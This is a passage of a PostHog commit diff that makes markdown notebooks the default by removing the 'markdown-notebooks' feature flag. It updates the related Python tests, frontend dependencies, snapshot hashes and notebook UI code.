:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.
Python ab-testingai-analyticsanalyticscdpdata-warehouseexperimentsfeature-flagsjavascriptproduct-analyticspythonreactsession-replaysurveystypescriptweb-analytics
feat(notebooks): make markdown notebooks the default and remove the flag (#70015)
Marius Andra17510024179f
diff --git a/ee/hogai/tools/create_notebook/helpers.py b/ee/hogai/tools/create_notebook/helpers.pyindex d3f183632bd6..3b6948777b67 100644--- a/ee/hogai/tools/create_notebook/helpers.py+++ b/ee/hogai/tools/create_notebook/helpers.py@@ -4,7 +4,6 @@ from typing import Anyfrom posthog.models import Team, Userfrom posthog.rbac.user_access_control import UserAccessControl-from posthog.sync import database_sync_to_asyncfrom products.notebooks.backend.facade import (api as notebooks,@@ -22,7 +21,6 @@ from ee.hogai.artifacts.manager import ArtifactManagerfrom ee.hogai.artifacts.types import StoredBlock, StoredNotebookArtifactContent, VisualizationRefBlockfrom ee.hogai.tools.create_notebook.parsing import parse_notebook_content_for_storagefrom ee.hogai.tools.create_notebook.tiptap import blocks_to_tiptap_doc-from ee.hogai.utils.feature_flags import has_markdown_notebooks_feature_flagfrom ee.hogai.utils.types.base import AssistantMessageUnion@@ -184,11 +182,11 @@ async def save_notebook_to_db(tiptap_doc = blocks_to_tiptap_doc(blocks, title=title, resolve_visualization=resolve_visualization)- # New notebooks follow the markdown notebooks rollout. Existing TipTap notebooks keep- # their stored format so open editors don't flip formats mid-session.+ # New notebooks are always markdown. Existing TipTap notebooks keep their stored+ # format so open editors don't flip formats mid-session.content: dict[str, Any] = tiptap_doctext_content: str | None = None- if existing_notebook is None and await database_sync_to_async(has_markdown_notebooks_feature_flag)(team, user):+ if existing_notebook is None:markdown = convert_notebook_content_to_markdown(tiptap_doc)content = build_markdown_notebook_content(markdown)text_content = markdowndiff --git a/ee/hogai/tools/create_notebook/test/test_helpers.py b/ee/hogai/tools/create_notebook/test/test_helpers.pyindex e80a09413204..8f93bafc5456 100644--- a/ee/hogai/tools/create_notebook/test/test_helpers.py+++ b/ee/hogai/tools/create_notebook/test/test_helpers.py@@ -1,3 +1,5 @@+import json+from posthog.test.base import BaseTestfrom unittest.mock import patch@@ -14,18 +16,35 @@ from ee.hogai.artifacts.types import StoredBlock, VisualizationRefBlockfrom ee.hogai.tools.create_notebook.helpers import NotebookEditNotAllowedError, save_notebook_to_db-def _find_ph_query_nodes(doc: dict) -> list[dict]:- found: list[dict] = []-- def walk(node: dict) -> None:- if isinstance(node, dict):- if node.get("type") == "ph-query":- found.append(node)- for child in node.get("content", []) or []:- walk(child)-- walk(doc)- return found+def _get_notebook_markdown(notebook: Notebook) -> str:+ nodes = notebook.content["content"]+ assert len(nodes) == 1 and nodes[0]["type"] == "ph-markdown-notebook"+ return nodes[0]["attrs"]["markdown"]+++def _extract_query_props(markdown: str) -> list[dict]:+ """Pull the JSON `query={...}` props out of serialized `<Query ... />` tags."""+ queries: list[dict] = []+ search_from = 0+ while (start := markdown.find("query={", search_from)) != -1:+ json_start = start + len("query={")+ depth = 1+ i = json_start+ while i < len(markdown) and depth:+ char = markdown[i]+ if char == '"':+ # Skip over JSON strings so braces inside them don't affect depth+ i += 1+ while i < len(markdown) and (markdown[i] != '"' or markdown[i - 1] == "\\"):+ i += 1+ elif char == "{":+ depth += 1+ elif char == "}":+ depth -= 1+ i += 1+ queries.append(json.loads(markdown[json_start : i - 1]))+ search_from = i+ return queriesclass TestSaveNotebookToDb(BaseTest):@@ -116,11 +135,10 @@ class TestSaveNotebookToDb(BaseTest):notebook = self._save_and_get_notebook(viz_short_id, parent_short_id)- ph_queries = _find_ph_query_nodes(notebook.content)- self.assertEqual(len(ph_queries), 1)- stored_query = ph_queries[0]["attrs"]["query"]- self.assertEqual(stored_query["kind"], expected_kind)- self.assertEqual(stored_query["source"]["kind"], expected_source_kind)+ queries = _extract_query_props(_get_notebook_markdown(notebook))+ self.assertEqual(len(queries), 1)+ self.assertEqual(queries[0]["kind"], expected_kind)+ self.assertEqual(queries[0]["source"]["kind"], expected_source_kind)def test_save_notebook_resolves_state_only_visualization(self):# Reproduces the "[Visualization not found: <id>]" bug: viz exists only in@@ -137,11 +155,10 @@ class TestSaveNotebookToDb(BaseTest):state_messages=[viz_message],)- ph_queries = _find_ph_query_nodes(notebook.content)- self.assertEqual(len(ph_queries), 1, "state-only viz should resolve to a ph-query node")- stored_query = ph_queries[0]["attrs"]["query"]- self.assertEqual(stored_query["kind"], "InsightVizNode")- self.assertEqual(stored_query["source"]["kind"], "TrendsQuery")+ queries = _extract_query_props(_get_notebook_markdown(notebook))+ self.assertEqual(len(queries), 1, "state-only viz should resolve to a query block")+ self.assertEqual(queries[0]["kind"], "InsightVizNode")+ self.assertEqual(queries[0]["source"]["kind"], "TrendsQuery")def test_save_notebook_emits_placeholder_when_artifact_missing(self):# Sanity: when the ref can't be resolved from any source, we still get the@@ -151,23 +168,23 @@ class TestSaveNotebookToDb(BaseTest):parent_short_id="nmis",)- ph_queries = _find_ph_query_nodes(notebook.content)- self.assertEqual(len(ph_queries), 0)+ markdown = _get_notebook_markdown(notebook)+ self.assertEqual(len(_extract_query_props(markdown)), 0)+ self.assertIn("Visualization not found", markdown)- def test_save_notebook_creates_markdown_notebook_when_flag_enabled(self):+ def test_save_notebook_creates_markdown_notebook(self):self._create_visualization_artifact(query={"kind": "TrendsQuery", "series": []}, short_id="vmkd")parent = self._create_notebook_parent("nmkd")blocks: list[StoredBlock] = [VisualizationRefBlock(artifact_id="vmkd", title="Chart")]- with patch("ee.hogai.tools.create_notebook.helpers.has_markdown_notebooks_feature_flag", return_value=True):- async_to_sync(save_notebook_to_db)(- team=self.team,- user=self.user,- artifact=parent,- blocks=blocks,- title="Test Notebook",- state_messages=[],- )+ async_to_sync(save_notebook_to_db)(+ team=self.team,+ user=self.user,+ artifact=parent,+ blocks=blocks,+ title="Test Notebook",+ state_messages=[],+ )notebook = Notebook.objects.get(team=self.team, short_id=parent.short_id)nodes = notebook.content["content"]@@ -179,7 +196,7 @@ class TestSaveNotebookToDb(BaseTest):self.assertIn("InsightVizNode", markdown)self.assertEqual(notebook.text_content, markdown)- def test_save_notebook_keeps_tiptap_format_for_existing_notebook_when_flag_enabled(self):+ def test_save_notebook_keeps_tiptap_format_for_existing_notebook(self):parent = self._create_notebook_parent("ntfm")notebook = Notebook.objects.create(team=self.team,@@ -190,10 +207,7 @@ class TestSaveNotebookToDb(BaseTest):content={"type": "doc", "content": [{"type": "paragraph"}]},)- with (- patch("ee.hogai.tools.create_notebook.helpers.has_markdown_notebooks_feature_flag", return_value=True),- patch("ee.hogai.tools.create_notebook.helpers.collab.apublish_notebook_update"),- ):+ with patch("ee.hogai.tools.create_notebook.helpers.collab.apublish_notebook_update"):async_to_sync(save_notebook_to_db)(team=self.team,user=self.user,diff --git a/ee/hogai/utils/feature_flags.py b/ee/hogai/utils/feature_flags.pyindex 3497d0923bd0..3087069460f3 100644--- a/ee/hogai/utils/feature_flags.py+++ b/ee/hogai/utils/feature_flags.py@@ -114,16 +114,6 @@ def has_sandbox_mode_feature_flag(team: Team, user: User) -> bool:)-def has_markdown_notebooks_feature_flag(team: Team, user: User) -> bool:- return feature_enabled_or_false(- "markdown-notebooks",- str(user.distinct_id),- groups={"organization": str(team.organization_id)},- group_properties={"organization": {"id": str(team.organization_id)}},- send_feature_flag_events=False,- )--def has_user_interview_mode_feature_flag(team: Team, user: User) -> bool:return feature_enabled_or_false("user-interviews",diff --git a/frontend/package.json b/frontend/package.jsonindex a25277228b1e..d364d6bff5ee 100644--- a/frontend/package.json+++ b/frontend/package.json@@ -159,20 +159,13 @@"@tiptap/core": "3.20.6","@tiptap/extension-code-block": "3.20.6","@tiptap/extension-code-block-lowlight": "3.20.6",- "@tiptap/extension-collaboration": "3.20.6","@tiptap/extension-color": "3.20.6","@tiptap/extension-document": "3.20.6",- "@tiptap/extension-drag-handle": "3.20.6",- "@tiptap/extension-drag-handle-react": "3.20.6",- "@tiptap/extension-floating-menu": "3.20.6",- "@tiptap/extension-heading": "3.20.6","@tiptap/extension-image": "3.20.6","@tiptap/extension-link": "3.20.6","@tiptap/extension-list": "3.20.6",- "@tiptap/extension-node-range": "3.20.6","@tiptap/extension-placeholder": "3.20.6","@tiptap/extension-table": "3.20.6",- "@tiptap/extension-table-of-contents": "3.20.6","@tiptap/extension-text-align": "3.20.6","@tiptap/extension-text-style": "3.20.6","@tiptap/extension-underline": "3.20.6",diff --git a/frontend/snapshots.yml b/frontend/snapshots.ymlindex b0c769274bd3..2985449e2190 100644--- a/frontend/snapshots.yml+++ b/frontend/snapshots.yml@@ -6295,25 +6295,25 @@ snapshots:scenes-app-mcp-analytics-dashboard-cards--share-by-harness--light:hash: v1.k794b7964.c5eae070d2b0728ce676a8248650123f9a153ec8a9b9052f119d28b82e112e75.CdS-40DZGyT0t1Th9qh7g6Cc9Dgt__lEEujO7OXp4IMscenes-app-notebooks--bullet-list--dark:- hash: v1.k794b7964.7feec41dfa20bdba14840fef49929b5bb8c469f71fb9483924eda616d98d0055.xNR0FdHDuoo_5Dz1taGhFoGuducdXsPAHku4CJVMsi8+ hash: v1.k794b7964.ff3b99437db7b9bcc36ff7530f42aa5c397f0e4d3ef300b741a84914afb3083c.5niOTwV3qBfjQba0L2N6T6HHEDSltopfXj1A5COVdbQscenes-app-notebooks--bullet-list--light:- hash: v1.k794b7964.9ac53d342a767da5ba724e298358595934900a2fb0f8afee3fc416207f0e4945.9fI25VTEq78pqbx7YpGnO0fdhlS6sU3WZ3MLEiubxU0+ hash: v1.k794b7964.1a8843ddd26ea3b72013b7fee8836d009f5d71558f397da48e7cdee3c28dbcae.hvFFmea_bm1gBo7xMpoXXD_1Pz4lCO64eTVDfc9Lohoscenes-app-notebooks--collapsed-headings--dark:- hash: v1.k794b7964.9b5eecb0d512124c03f7587e3533c3d9fce17d71540f29fdce19333f4071e1a1.BxIcZP53fPrEvRym_XClGVUVU5rcBC5guFhQQI4-Fm0+ hash: v1.k794b7964.a294cb50e76f02875e0d8aa526499cce6506b013d5930be0acf0618220f83c1b.016QmLl1Trjeo0C-YrsC6ZQJCFZy4n4WE1H2nHlu1aIscenes-app-notebooks--collapsed-headings--light:- hash: v1.k794b7964.d57f158ca6b8f85624defbce6cb01c9138c5f9a5c433f4d45418dbf3672771e3.I3iB_tuetLLynIPghLYqj3fSRYmDjzKFWRcJgOswzXg+ hash: v1.k794b7964.4073ee7cd2a8ef71ca5554d9304fe54c48cce4cf1b57639e2249d55b67f9c9ed.JTdhkXxIPtBNrd0I2DGB-E5-VxOEapUmbY2Q7TYQzx4scenes-app-notebooks--empty-notebook--dark:- hash: v1.k794b7964.9d80d20b2be192d8c6ef5c965defba9b46281c64fd38d5e3cf0b8748a852324d.s0NTrmTQGKNiGNkYWQz5LUQFhYkMF3oJc7kO-6NU884+ hash: v1.k794b7964.fa1d770a20cfd16bcdc9b3661bf47cfbaa9b38a4a33e2c497d724de07c499e9e.XfAAGxqctmjMUe848vJXbOi7APYCtDaZp9R8TYTcQKwscenes-app-notebooks--empty-notebook--light:- hash: v1.k794b7964.8d77e5b47e411756102cf02c27d2f7507eed914d95a1f7aae584f7f6ddc13b48.3dKvmlWx8HgUYQgsAP8SgIu0R1gsHvQy_PEtS-DGtFU+ hash: v1.k794b7964.e9b9755ff30dbb54305cf86daa403b7d9b3a8cd4990379c494b2fb122930d71b.xtARpz4io9Df4iMJYEhzVUB9Bv5kSAk986fHdyzhScYscenes-app-notebooks--flattened-table--dark:- hash: v1.k794b7964.afb375e49b5c892425fd67dc9aa368c9cc0fe63a47c7e777562778db65befe2f.fHGPKs1FuyWeAhRlgwAQa9-rv3fpL6v4SDPgVPcUEWM+ hash: v1.k794b7964.4af1850ffcbd00ddac474e062be344b485d9ae95109465b4233ba53fb1ef50ac.LIOTcUH-F0AtaRoXCi1reMKt3gbdYF6DIg2LKrMji_cscenes-app-notebooks--flattened-table--light:- hash: v1.k794b7964.ed644850b09df3fe869f3b003d0d64122f1d4dedd5efd40c1206e28772e9055c.yTGtiiQrJSSwWyoS4rj_YEbJEYpm7WuCcj0tflX7R08+ hash: v1.k794b7964.7e08ec9949fcf8ba179a68332dc9ec65e4995b5757cb2e5f7399220d4e32110d.r2KBOe1mWHbmiN-V1CdB36vcl56JnDLfbAV3RvEcylIscenes-app-notebooks--headings--dark:- hash: v1.k794b7964.aca5442c36f6fc06e935d6b351a7a13006406567f4839415ddc73afed22e2e95.E5Qw-I-2KEKZ3FgmOqKIXiixuf_ObWkgeoXpjoE235k+ hash: v1.k794b7964.0d4d36634319774a86df08522142076fe37b2cdf87b4c654950004218a1e3136.RkxpWeXla9IIpBOVfi7ZsPtUaSWzEWFltzdtsn1egAQscenes-app-notebooks--headings--light:- hash: v1.k794b7964.a02ea6db94106fc68943cef006c3163b7274a39a3ba80302398a281103d5d3f7.patA-k6g45ydq_czCCS5DEDaGjH6XOplNjJSHpTo7qg+ hash: v1.k794b7964.bb0c4b4017a5d6967e92fe434f4b1375964362d7e120fb19dd2510e9f22a7dcd.Lt34rJNvHvTWJyB0cAq43SPn-55orDmZuk8dWXXl84Escenes-app-notebooks--notebook-not-found--dark:hash: v1.k794b7964.4597b163dd39fd71394b0148538b33f46782db9c5e24fdad943599f086f1cff6.U9VCf_R7Jz3eZcbOEvKgTIhfbhMoP6AddiYy6VZ7CTQscenes-app-notebooks--notebook-not-found--light:@@ -6323,21 +6323,21 @@ snapshots:scenes-app-notebooks--notebooks-list--light:hash: v1.k794b7964.a44af46b8044dced45f84a8500bcab13184d121a3699fec328eb92b2e7cf4abc.DVq7wYvX-gKFgCReciySK-5Z04UW1l03C5UFleTWQ9kscenes-app-notebooks--numbered-list--dark:- hash: v1.k794b7964.e4f8e5e002e20aa38d9c9694a1a6d005c09cac86fb55cab98ab98cab78b3f957.MR7JoKv2TlN3ymoBRrvblYGNpKpTtgNH70kwj3qDvR0+ hash: v1.k794b7964.f9f958e65932f1812b8c5629103d110c1e6c161a10c428e9bc892b3f3f422282.dZ-2WzwZsA0_8UjFkTSEwNjpjN-D9XBKgmeWOrxwpWQscenes-app-notebooks--numbered-list--light:- hash: v1.k794b7964.e60d00ab9a9d54db4f97598f9858c39fd1f026ac6669c352231d13aae5bc32a2.MFio-MV3w104D6qe69pgJRtcit7cm4ENkucAZGNe1Ag+ hash: v1.k794b7964.a7c359b0c62468903ee153f7d554332ffb23ddeb5823f8772cbbc9bdda85ef39.vqBNXyRaDc-oPTu-JlCeXZXDW3hlVysSsDe1vCbkFbkscenes-app-notebooks--recordings-playlist--dark:- hash: v1.k794b7964.95547ced644861f26fd3f39a0723e4a2ab9656c69dea0fee4f64c9fc3c02e6ee.RwZR8tp_oHWTVy73Q6fvdC6xFUa4Xb1kj4oq65EUcUo+ hash: v1.k794b7964.2581859c81615ca1f017290f7b86eaec8d1203f32dd6e0fb1bbeb2c337d5bb75.ProVqyNuxcc6_f8mfSJUJMEYn2Rn3LWCTT5OLKk1lLkscenes-app-notebooks--recordings-playlist--light:- hash: v1.k794b7964.df44a70f9c9ed9d7c2411be0014586c79916c0afb9df2f3d373c18cf6dce2f65.vILHckTxZL498UQYbxLlnCIjkWzJCza5XOcDktBiObw+ hash: v1.k794b7964.de5626e727565daa0be4e02937d39c36a43fe82b85799c0d2f91304439095b91.bUKmiskhzemuQnEA4r75ET4WcbKkawJt-FaaiWhfr0Yscenes-app-notebooks--text-formats--dark:- hash: v1.k794b7964.dc2e1bccd4ac6ec38c313fbc5848e9e4cdf295660e9e70355d02cd8d3c90c8a5.B1RYPfBBmkqCjawiMOyXxhu2RIEmOTm6HI9LJYfkWHo+ hash: v1.k794b7964.6ba17ee8c1d8e0b4095b903100109314b701baa0a4956ca272f2b26f4d37879b.J-tNiP80EM3tE0ZaOdrZZ3vzZnEK1UdW5afDzziYijQscenes-app-notebooks--text-formats--light:- hash: v1.k794b7964.40c260913e4ba7dda95b95066b56c12d7e0629e44034862d5a3e38e45adfd83e.DUpU3CZ-mLbzqA5ZHPtYlJO1RwG0DpfsSX5b1wQMim8+ hash: v1.k794b7964.00d9aee028774700e158949f9462d10534028a0bc313d6c890762283694cca03.tJaV_SX50Vla-FB0raT-LfMDYgA3BTJ-xvm_M2LslFMscenes-app-notebooks--text-only-notebook--dark:- hash: v1.k794b7964.357f4a4c53b6797854311da9f41ca2c256dc602e31ba380cfc0819c88f98e842.YbMPPPB6aEptPMB7bFAE7PVAkx7GaKacCnblUYR2_is+ hash: v1.k794b7964.dfcc32baebd1c206216337f4a6cd3cad4ea9dbb71906723a5f32363718cb5e11.mh-Oy8RzE2KR0GImAU2KXOCAGakfJnhLBcvKYf1MZ70scenes-app-notebooks--text-only-notebook--light:- hash: v1.k794b7964.28c8a763578846429f7ea30243ef82ec618a4c71ed5df6382a0b270473068425.2_6WEqwcNV1BCqfT7gzHhZyi98sxRipl34Q8t6S55Rs+ hash: v1.k794b7964.4a9cab1c5864fcfb2d1cba07db0d7de3ae210272bdabbb77da79b8deaa3030d3.v7oKjVkeNJUzNxA6MxFgQewgIlPvBWiiebuCJBDVagoscenes-app-notebooks-components-notebook-select-button--closed-popover-state--dark:hash: v1.k794b7964.88d1a3e9fb5510fffa7aea75e2ec02791ce7b62f8089ba839517dbccdf11d322.3ulC8gWrQJ9QnKHdNsfDxzLqV_k-9itTnB4aJNAG4BMscenes-app-notebooks-components-notebook-select-button--closed-popover-state--light:@@ -6363,29 +6363,29 @@ snapshots:scenes-app-notebooks-components-notebook-select-button--with-slow-network-response--light:hash: v1.k794b7964.678b0f73befa0690622fd5eb7a920f5c25919af7a9b516a08756e866b37de352.QhzKGfEQA_MQykTL8uuyOryngt75iNv9BydvL5ckPjQscenes-app-notebooks-nodes-customer-journey--all-steps-completed--dark:- hash: v1.k794b7964.fd9cad0e9f3ea6c6d45f6de6fb8b13f1843e86af6b272f8f025e61b6ff3bc17e.OM-ilK1CIuRlg2QhdocSpercrRmGhMJdTJEnd_k3vUM+ hash: v1.k794b7964.b9dafbf2c207f36c51c08af1bdd825839cc43fe3eaf4ae515e2cb1da88669375.MsEW1urtNLTV2huTSXsbkmxJGOF4ZoTXjPMzzKoE500scenes-app-notebooks-nodes-customer-journey--all-steps-completed--light:- hash: v1.k794b7964.a8ce38b2f26f841057cd4e94c32aad36f8437dfd1576f6e05e59414d8af214fc.1MjucbEteQFKAygQmFaQPZTLOp8-AZHRzVKbQw3rbY4+ hash: v1.k794b7964.df1e365ec572533c74a9b7dda86f2f2547ee47a81973b1cf365c20b93e826d3f.P4rFgrHmbhnyfX-17kDChIgQq2dQLdBJt2MJEqeo5CYscenes-app-notebooks-nodes-customer-journey--no-steps-completed--dark:- hash: v1.k794b7964.9299e6b66622ad28d031aba18e118dd7b0ea1e7d0f0f4452d1a23cb0db4a7e31.bDodEMWBF8WOGHuIiPlrcFnoyHD4OyDT_4mmLyZwzcg+ hash: v1.k794b7964.19b7ddc5733be17c78e1e91692067d8857505805e532c6cb34d0de329aefcf0b._v9oIhfppDsmZw_ejRuLdgQZoFyX45ytKlWIjRUW2PQscenes-app-notebooks-nodes-customer-journey--no-steps-completed--light:- hash: v1.k794b7964.da8975529bd6460c7193542455963bb4a7a089af2cc19b77029d544c85f5f3e2.tu-y2_wcawcfI5sB4DJ3g4a7_JDRJQYj954t4PBKKKI+ hash: v1.k794b7964.e2cf7d5f1c6f6d05fbfc4ebea4c27e25a48d26dba3fb6f65fb2edbc8d40e196b.qtwco_WVfouwj0oGO0V9sku61gRdwZM8k8k3aQ3BbgEscenes-app-notebooks-nodes-customer-journey--some-steps-completed--dark:- hash: v1.k794b7964.ac4298dec7f5e3d9eaf85dc59e8bf7df14b417c33d085f9c1bfdbb80c9788313.anXdwUx-G1gV1tC5_5IFaptk_uY-7S7o22Rj3dPxZEU+ hash: v1.k794b7964.beb2071e026c0201549bcf3edfadfbc4a48ebdbfef3e0e9d1d68307a6d3b8652.X73B707qeRj9as3olCv67OVstBsutdQOFQAbRtC_Lc8scenes-app-notebooks-nodes-customer-journey--some-steps-completed--light:- hash: v1.k794b7964.a794a3f69e378076fe458aa7cae3013ac2853f1eb6029b9630f466d9e061f823.17xZY8ygbqyno9gcpM-yZn3O-cEZ0uwT3OqrPYHp8rM+ hash: v1.k794b7964.489054dc3e10082d70b375d092485479c46bd1b4510653fcab7869b423175ef9.ac39lgSlwCOCxR2KcqJ_XwOQgbtDK_aDq0qQSAStUtAscenes-app-notebooks-nodes-customer-journey--with-optional-steps--dark:- hash: v1.k794b7964.d8d2e893c9ab7416a2e0a5900a07c8b4255f2285d15c137f4a08528ebcc11843.mObRmoiLUoexeL_wlvyWM1bdAJnZzDWhePT0f6TIL2w+ hash: v1.k794b7964.29817ba8d619ac9a4aeb8adb87e79c7e29785b05ca4ef28f857f5fcc51546155.R6cv899BWVXYej49Y42ofSZRLJm5iHrLwLumvxrSN2sscenes-app-notebooks-nodes-customer-journey--with-optional-steps--light:- hash: v1.k794b7964.9b47fbf22abe25eeeb4433c3f98f7c91b69c4ce263a7f1c08ddd8c89b5acb61f.UqEfiWXaw2WOJ80V9hFigoFhw8bHF-8MbMyH0bDUj5I+ hash: v1.k794b7964.bcbc0edb9b6486297014302eb2377d79b9242b3298d61b8b4c60d0183c47c4bf.f2qWVBioZdpdJMnb44JqK9kb8XOeuTeVSXcPG1tApVEscenes-app-notebooks-nodes-support-tickets--empty--dark:- hash: v1.k794b7964.1862a0fb10635477c673e3af239913fc0e0d97044d7b64e299987c00d18f3b37.Xn_cbFKaE1xlGhwZWjLP7_nNTY4vl87D2B8I2vGx4sE+ hash: v1.k794b7964.1dbba01ca509f56e0f5903831110a6d48738d875d64a82899f1c8c8a8988cf70.SocGDWVJVEhwWpCapajMXl_qh7p2DKJn6XXPdiU48lQscenes-app-notebooks-nodes-support-tickets--empty--light:- hash: v1.k794b7964.05c32a7bf03144c5e27fc870d085ddcfceb264fc5a2d4daf787fa71144d7c872.G8tkI4Q-Ul16lsJBRzaWn0fRHoAgUy_y3grmtnP_Lv4+ hash: v1.k794b7964.e8b97a3330f2c3716bbc41c92e96784d9c53ee924acc06b3a349a79fbc3381a1.iVnUNqyFuwZY0PU4iKmrHTfhobgB_eoTQFAZm7B99-Iscenes-app-notebooks-nodes-support-tickets--with-tickets--dark:- hash: v1.k794b7964.feeb8a0d0209ac3940b477fc7fa0d00f5dfb60032287d137fd5fc2a8413de4f9.zn_gEPsfVQEMHrZK3t43eLJ2O71Tz2YpA73L9mUuITk+ hash: v1.k794b7964.d01588d4e3612c23c19413ecf176c5f525392572c87c63703740fb17ecf02186.1th3ZYmdOr6TdpMrOl7zyJow2IrYRggjnp5X4oRjZKgscenes-app-notebooks-nodes-support-tickets--with-tickets--light:- hash: v1.k794b7964.df55bfe02bf0e0a2cc72e893a4205d201bcc2759795e7af8906b1282bbf15513.gy4PiyWfoVb3JcB-FHAIRUd3wiTZ7Xlekf3zovu2W58+ hash: v1.k794b7964.9a9744c288a468e7483595b6e99669636406b984cf3efea916eeb04120c363b1.SgHn5yYEuJvwBPdouBBn2TQP5V2LpzaM-u5YDKK7F6Escenes-app-oauth-authorize--all-scopes-optional--dark:hash: v1.k794b7964.03746d2e3646b97e4af61e54557db2ccb6268512cda02721b819fa30980af155.ZPcclnqMQQh8Qi_v2Z3cnVA1_LaYFx8XXncRQ8NQAdcscenes-app-oauth-authorize--all-scopes-optional--light:@@ -6955,9 +6955,9 @@ snapshots:scenes-app-sidepanels--side-panel-max--light:hash: v1.k794b7964.8982b205095b40e925775e82021f737fcb8dfb066ab2acdebeb747bcf3fc2441.0CaNwy_S3WhrqI5I3hWqwtcxJMU892f2FhNchtDhJCwscenes-app-sidepanels--side-panel-notebooks--dark:- hash: v1.k794b7964.87e60bb3963a3568f4cd1db1ffe8535187546aa633e72a28029175baf98701d0.6k-fL8y6dAuTID8XRqdlMhXBWKSb85TpzLeIedt5PHs+ hash: v1.k794b7964.f279c797117b03293ec8b5593b74d75537ebd000a948fe6aaaee0bb045d9fc0a.KQrzGwEsW_pOA72ILXbPY5qz9S-YLNKIIKM3MY-AnrYscenes-app-sidepanels--side-panel-notebooks--light:- hash: v1.k794b7964.15b1430a1c9ab5e3d223bd3940722ab202ae0f8a9df08c595463d16594d22577.Me9gU_Xd1v6Fz3o2kw4sFv-cxDLSK9Z8umPpGuV6_L8+ hash: v1.k794b7964.3b738060f0a82c703258aef096c56bc429d70cf8e6611ce9669fec583ac90e99.yO6ilZ6TPFjWNF_xkrkyGCzR8IpG5MWbPp5atNvGT9Ascenes-app-sidepanels--side-panel-support--dark:hash: v1.k794b7964.220b0da2325a5c600b217d9e06d9ec871e14b5ddaf57f7d63203a8f762fa42bd.7ROM87CPLFyenH0MF2b5iQ6qxAQdMJvf8dETokiYrOMscenes-app-sidepanels--side-panel-support--light:diff --git a/frontend/src/lib/components/MarkdownNotebook/InsertMenu.tsx b/frontend/src/lib/components/MarkdownNotebook/InsertMenu.tsxindex d2d032766fe9..47d5993888e3 100644--- a/frontend/src/lib/components/MarkdownNotebook/InsertMenu.tsx+++ b/frontend/src/lib/components/MarkdownNotebook/InsertMenu.tsx@@ -293,7 +293,10 @@ export function buildInsertCommands(insertComponent(targetNodeId, 'Query', {query: {kind: 'InsightVizNode',- source: { kind: 'TrendsQuery', series: [{ event: '$pageview', kind: 'EventsNode' }] },+ source: {+ kind: 'TrendsQuery',+ series: [{ kind: 'EventsNode', name: '$pageview', event: '$pageview', math: 'total' }],+ },},}),},@@ -309,8 +312,8 @@ export function buildInsertCommands(source: {kind: 'FunnelsQuery',series: [- { event: '$pageview', kind: 'EventsNode' },- { event: '$pageleave', kind: 'EventsNode' },+ { kind: 'EventsNode', name: '$pageview', event: '$pageview' },+ { kind: 'EventsNode', name: '$pageleave', event: '$pageleave' },],},},diff --git a/frontend/src/lib/components/MarkdownNotebook/TODO.md b/frontend/src/lib/components/MarkdownNotebook/TODO.mdindex 6bbe351fe488..537ecaf304db 100644--- a/frontend/src/lib/components/MarkdownNotebook/TODO.md+++ b/frontend/src/lib/components/MarkdownNotebook/TODO.md@@ -4,7 +4,7 @@ The markdown notebook rewrite (markdown storage, custom component tags, conflict## Rollout and migration-- With the `MARKDOWN_NOTEBOOKS` flag on, everything is markdown: existing notebooks render through the markdown editor (converted at render time, persisted on first edit), and new notebooks, template copies, the scratchpad, canvases, and Max-created notebooks are created in the markdown format. With the flag off, notebooks whose stored content is already markdown still use the markdown editor.+- Markdown notebooks are now the default and only experience; the `MARKDOWN_NOTEBOOKS` feature flag has been removed. Legacy TipTap-stored notebooks are converted to markdown at render time and persisted on first edit, and new notebooks, template copies, the scratchpad, canvases, and Max-created notebooks are created in the markdown format.- Batch conversion of existing notebooks (`convertNotebookContentToMarkdown`) needs migration validation fixtures built from real production notebook shapes, beyond the unit-test coverage in `notebookUpgradeDialog.test.tsx`.- Verify notebook history and sharing behavior survive the upgrade (history diffs against TipTap JSON snapshots predating the conversion).- Rollback: `convertMarkdownToNotebookContent` (markdownNotebookDowngrade.ts) converts markdown back to TipTap content. Known one-way losses are documented in its module docstring (discussion reply threads, AI prompts, table alignments) — wire it into a user-facing rollback flow if needed.diff --git a/frontend/src/lib/components/RichContentEditor/types.ts b/frontend/src/lib/components/RichContentEditor/types.tsindex d012e21c0158..3af2530d5ace 100644--- a/frontend/src/lib/components/RichContentEditor/types.ts+++ b/frontend/src/lib/components/RichContentEditor/types.ts@@ -20,6 +20,13 @@ export enum RichContentNodeType {Mention = 'ph-mention',}+declare module '@tiptap/core' {+ interface NodeConfig {+ /** Plain-text serialization of a custom node, used when extracting text content. */+ serializedText: (attrs: Record<string, any>) => string+ }+}+export interface RichContentEditorType {isEmpty: () => booleangetJSON: () => JSONContentdiff --git a/frontend/src/lib/components/Scenes/InsightOrDashboard/SceneNotebookMenuItems.tsx b/frontend/src/lib/components/Scenes/InsightOrDashboard/SceneNotebookMenuItems.tsxindex 479b67dc11d1..f18439d45cb9 100644--- a/frontend/src/lib/components/Scenes/InsightOrDashboard/SceneNotebookMenuItems.tsx+++ b/frontend/src/lib/components/Scenes/InsightOrDashboard/SceneNotebookMenuItems.tsx@@ -48,8 +48,7 @@ export function SceneNotebookMenuItems({const notebookResource = resource && typeof resource !== 'boolean' ? resource : nullconst openAndAddToNotebook = (notebookShortId: string, exists: boolean): void => {- const position = notebookSelectButtonProps?.resource ? 'end' : 'start'- void openNotebook(notebookShortId, NotebookTarget.Popover, position, (theNotebookLogic) => {+ void openNotebook(notebookShortId, NotebookTarget.Popover, (theNotebookLogic) => {if (!exists && notebookSelectButtonProps?.resource) {theNotebookLogic.actions.insertAfterLastNode([notebookSelectButtonProps.resource])}diff --git a/frontend/src/lib/components/Scenes/SceneMenuBarAddToNotebook.tsx b/frontend/src/lib/components/Scenes/SceneMenuBarAddToNotebook.tsxindex 628568560405..98a2a4672cc1 100644--- a/frontend/src/lib/components/Scenes/SceneMenuBarAddToNotebook.tsx+++ b/frontend/src/lib/components/Scenes/SceneMenuBarAddToNotebook.tsx@@ -49,8 +49,7 @@ export function SceneMenuBarAddToNotebook({}, [resource])const openAndAdd = (notebookShortId: string, exists: boolean): void => {- const position = notebookSelectButtonProps?.resource ? 'end' : 'start'- void openNotebook(notebookShortId, NotebookTarget.Popover, position, (theNotebookLogic) => {+ void openNotebook(notebookShortId, NotebookTarget.Popover, (theNotebookLogic) => {if (!exists && notebookSelectButtonProps?.resource) {theNotebookLogic.actions.insertAfterLastNode([notebookSelectButtonProps.resource])}diff --git a/frontend/src/lib/constants.tsx 